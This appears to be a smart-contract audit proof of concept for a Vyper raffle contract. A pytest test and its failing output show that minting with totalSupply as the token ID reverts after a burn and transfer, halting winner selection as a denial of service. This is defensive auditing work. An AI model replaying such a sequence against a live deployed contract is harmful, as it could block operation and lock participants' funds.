def test_total_supply_as_token_id_can_lead_to_DoS(raffle_boa, vrf_coordinator_boa, entrance_fee):
ALICE = boa.env.generate_address("alice")
boa.env.set_balance(USER, STARTING_BALANCE)
boa.env.set_balance(ALICE, STARTING_BALANCE)
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("\n----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(0))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 0: ", raffle_boa.ownerOf(0))
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
vrf_coordinator_boa.fulfillRandomWords(1, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(1))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
with boa.env.prank(USER):
raffle_boa.transferFrom(USER, ALICE, 1)
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
print("New Owner ALICE : ", ALICE)
with boa.env.prank(USER):
raffle_boa.burn(0)
print("total_supply : ", raffle_boa.totalSupply())
with boa.env.prank(ALICE):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
vrf_coordinator_boa.fulfillRandomWords(2, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("----------------------------------------------------------------------------")
==================================================================== test session starts =====================================================================
platform linux -- Python 3.10.12, pytest-8.0.2, pluggy-1.4.0 -- /home/theirrationalone/vyperenv/bin/python
cachedir: .pytest_cache
hypothesis profile 'default' -> database=DirectoryBasedExampleDatabase(PosixPath('/home/theirrationalone/first-flights/2024-03-snek-raffle/.hypothesis/examples'))
rootdir: /home/theirrationalone/first-flights/2024-03-snek-raffle
plugins: titanoboa-0.1.8, cov-4.1.0, hypothesis-6.98.17
collected 1 item
tests/snek_raffle_test.py::test_total_supply_as_token_id_can_lead_to_DoS
----------------------------------------------------------------------------
Recent Winner : 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
Winner Balance : 1000000000000000000
Winner NFT : ipfs:
total_supply : 1
owner of tokenId 0: 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
----------------------------------------------------------------------------
Recent Winner : 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
Winner Balance : 1000000000000000000
Winner NFT : ipfs:
total_supply : 2
owner of tokenId 1: 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
owner of tokenId 1: 0xA73d7cddCf77c00827459f986bf828999B58C6Fe
New Owner ALICE : 0xA73d7cddCf77c00827459f986bf828999B58C6Fe
total_supply : 1
FAILED
========================================================================== FAILURES ==========================================================================
_______________________________________________________ test_total_supply_as_token_id_can_lead_to_DoS ________________________________________________________
raffle_boa = <contracts/snek_raffle.vy at 0x2cb6bCe32aeF4eD506382896e702DE7Ff109D9E9, compiled with vyper-0.4.0b1+6fb750a>
<storage...0000000000000000, players=<truncated>, raffle_state=unimplemented decoder for `flag RaffleState('OPEN','CALCULATING')`>
vrf_coordinator_boa = <contracts/test/VRFCoordinatorV2Mock.vy at 0x0880cf17Bd263d3d3a5c09D2D86cCecA3CcbD97c, compiled with vyper-0.4.0b1+6fb750a>
<storage: dummy_address=0x00dE89C733555886f785b0C32b498300297e481F>
entrance_fee = 1000000000000000000
def test_total_supply_as_token_id_can_lead_to_DoS(raffle_boa, vrf_coordinator_boa, entrance_fee):
ALICE = boa.env.generate_address("alice")
# Pranking Balances to both user and alice.
boa.env.set_balance(USER, STARTING_BALANCE)
boa.env.set_balance(ALICE, STARTING_BALANCE)
# only user is participating.
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
# had only one player `USER` into raffle so `USER` is the winner.
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("\n----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(0))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 0: ", raffle_boa.ownerOf(0))
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
vrf_coordinator_boa.fulfillRandomWords(1, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(1))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
with boa.env.prank(USER):
raffle_boa.transferFrom(USER, ALICE, 1)
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
print("New Owner ALICE : ", ALICE)
with boa.env.prank(USER):
raffle_boa.burn(0)
print("total_supply : ", raffle_boa.totalSupply())
with boa.env.prank(ALICE):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
# but token ID == 1, is already owned by ALICE
> vrf_coordinator_boa.fulfillRandomWords(2, raffle_boa.address)
tests/snek_raffle_test.py:154:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
../../vyperenv/lib/python3.10/site-packages/boa/contracts/vyper/vyper_contract.py:1010: in __call__
return self.contract.marshal_to_python(computation, typ)
../../vyperenv/lib/python3.10/site-packages/boa/contracts/vyper/vyper_contract.py:713: in marshal_to_python
self.handle_error(computation)
../../vyperenv/lib/python3.10/site-packages/boa/contracts/base_evm_contract.py:36: in handle_error
raise strip_internal_frames(b) from None
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
self = <contracts/test/VRFCoordinatorV2Mock.vy at 0x0880cf17Bd263d3d3a5c09D2D86cCecA3CcbD97c, compiled with vyper-0.4.0b1+6fb750a>
<storage: dummy_address=0x00dE89C733555886f785b0C32b498300297e481F>
computation = <abc.TitanoboaComputation object at 0x7f9d8fbcf2b0>, vyper_typ = None
def marshal_to_python(self, computation, vyper_typ):
self._computation = computation
if computation.is_error:
> self.handle_error(computation)
E boa.contracts.base_evm_contract.BoaError: ERC721: token already minted <
E
E <contracts/snek_raffle.vy at 0x2cb6bCe32aeF4eD506382896e702DE7Ff109D9E9, compiled with vyper-0.4.0b1+6fb750a>
E <storage: rarityToTokenURI={1: 'ipfs://QmZit9nbdhJsRTt3JBQN458dfZ1i6LR3iPGxGQwq34Li4a', 2: 'ipfs://QmRujARrkux8nsUG8BzXJa8TiDyz5sDJnVKDqrk3LLsKLX', 0: 'ipfs://QmSQcYNrMGo5ZuGm1PqYtktvg1tWKGR7PJ9hQosKqMz2nD'}, tokenIdToRarity={0: 2, 1: 2}, last_timestamp=1710282088, recent_winner=0xA73d7cddCf77c00827459f986bf828999B58C6Fe, players=<truncated>, raffle_state=unimplemented decoder for `flag RaffleState('OPEN','CALCULATING')`>
E <compiler: user revert with reason>
E
E contract "contracts/snek_raffle.vy:157", function "fulfillRandomWords", line 157:4
E 156 log WinnerPicked(recent_winner)
E ---> 157 ERC721._mint(recent_winner, ERC721._total_supply())
E -------------^
E 158 send(recent_winner, self.balance)
E <locals: request_id=2, random_words=[77], index_of_winner=0, recent_winner=0xA73d7cddCf77c00827459f986bf828999B58C6Fe, rarity=2>
E
E <contracts/test/VRFCoordinatorV2Mock.vy at 0x0880cf17Bd263d3d3a5c09D2D86cCecA3CcbD97c, compiled with vyper-0.4.0b1+6fb750a>
E <storage: dummy_address=0x00dE89C733555886f785b0C32b498300297e481F>
E <compiler: external call failed>
E
E contract "contracts/test/VRFCoordinatorV2Mock.vy:60", function "fulfillRandomWordsWithOverride", line 60:26
E 59 call_data: Bytes[3236] = _abi_encode(requestId, words, method_id=method_id("rawFulfillRandomWords(uint256,uint256[1])"))
E ---> 60 response: Bytes[32] = raw_call(consumer, call_data, max_outsize=32)
E ----------------------------------^
E 61 log RandomWordsFulfilled(requestId, requestId, 0, True)
E <locals: requestId=762178895660093717103408550560206871692195701331228084519870800356708, consumer=0x2cb6bCe32aeF4eD506382896e702DE7Ff109D9E9, words=[77], call_data=b'N\x04\xd7\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00M', response=b'N\x04\xd7\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'>
../../vyperenv/lib/python3.10/site-packages/boa/contracts/vyper/vyper_contract.py:713: BoaError
================================================================== short test summary info ===================================================================
FAILED tests/snek_raffle_test.py::test_total_supply_as_token_id_can_lead_to_DoS - boa.contracts.base_evm_contract.BoaError: Revert('ERC721: token already minted')
===================================================================== 1 failed in 1.73s ======================================================================
So It's a bare DoS.